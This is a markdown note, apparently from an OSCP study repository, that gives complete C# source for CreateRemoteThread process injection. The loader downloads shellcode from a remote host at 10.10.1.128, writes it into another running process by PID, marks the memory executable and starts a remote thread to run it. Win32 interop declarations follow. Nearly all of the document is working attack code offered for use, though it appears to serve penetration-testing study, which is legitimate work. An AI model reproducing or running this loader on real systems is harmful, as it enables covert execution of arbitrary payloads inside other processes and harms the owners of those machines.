Files
oscp/Necronomicon/Programming/CSharp/Process Injection/2. CreateRemoteThread.md
T
2025-11-21 17:17:42 +01:00

3.9 KiB

CreateRemoteThread

The classic. Pretty OPSEC unsafe, all things considered. Opens a remote process, maps shellcode bytes into a section of memory (RWX mem), and creates a thread in the remote process to execute.

CreateRemoteThread.cs

using System;
using System.Diagnostics;
using System.Net.Http;
using System.Threading.Tasks;

namespace CreateRemoteThread
{
    internal class Program
    {
        static async Task Main(string[] args)
        {
            byte[] shellcode;

            using (var client = new HttpClient())
                shellcode = await client.GetByteArrayAsync("http://10.10.1.128/shellcode.bin");

            // Open handle to process
            var process = Process.GetProcessById(8712);

            // Allocate a region of memory
            var baseAddress = Win32.VirtualAllocEx(
                process.Handle,
                IntPtr.Zero,
                (uint)shellcode.Length,
                Win32.AllocationType.Commit | Win32.AllocationType.Reserve,
                Win32.MemoryProtection.ReadWrite);

            // Write shellcode into region
            Win32.WriteProcessMemory(
                process.Handle,
                baseAddress,
                shellcode,
                shellcode.Length,
                out _);

            // Flip memory region to RX
            Win32.VirtualProtectEx(
                process.Handle,
                baseAddress,
                (uint)shellcode.Length,
                Win32.MemoryProtection.ExecuteRead,
                out _);

            // Create the new thread
            Win32.CreateRemoteThread(
                process.Handle,
                IntPtr.Zero,
                0,
                baseAddress,
                IntPtr.Zero,
                0,
                out _);

            // Shellcode is runing in a remote process
            // no need to stop this process from closing
        }
    }
}

Win32.cs

using System;
using System.Runtime.InteropServices;

namespace CreateRemoteThread
{
    internal class Win32
    {
        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAllocEx(
            IntPtr hProcess,
            IntPtr lpAddress,
            uint dwSize,
            AllocationType flAllocationType,
            MemoryProtection flProtect);

        [DllImport("kernel32.dll")]
        public static extern bool WriteProcessMemory(
            IntPtr hProcess,
            IntPtr lpBaseAddress,
            byte[] lpBuffer,
            int nSize,
            out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        public static extern bool VirtualProtectEx(
            IntPtr hProcess,
            IntPtr lpAddress,
            uint dwSize,
            MemoryProtection flNewProtect,
            out MemoryProtection lpflOldProtect);

        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateRemoteThread(
            IntPtr hProcess,
            IntPtr lpThreadAttributes,
            uint dwStackSize,
            IntPtr lpStartAddress,
            IntPtr lpParameter,
            uint dwCreationFlags,
            out IntPtr lpThreadId);

        [Flags]
        public enum AllocationType
        {
            Commit = 0x1000,
            Reserve = 0x2000,
            Decommit = 0x4000,
            Release = 0x8000,
            Reset = 0x80000,
            Physical = 0x400000,
            TopDown = 0x100000,
            WriteWatch = 0x200000,
            LargePages = 0x20000000
        }

        [Flags]
        public enum MemoryProtection
        {
            Execute = 0x10,
            ExecuteRead = 0x20,
            ExecuteReadWrite = 0x40,
            ExecuteWriteCopy = 0x80,
            NoAccess = 0x01,
            ReadOnly = 0x02,
            ReadWrite = 0x04,
            WriteCopy = 0x08,
            GuardModifierflag = 0x100,
            NoCacheModifierflag = 0x200,
            WriteCombineModifierflag = 0x400
        }
    }
}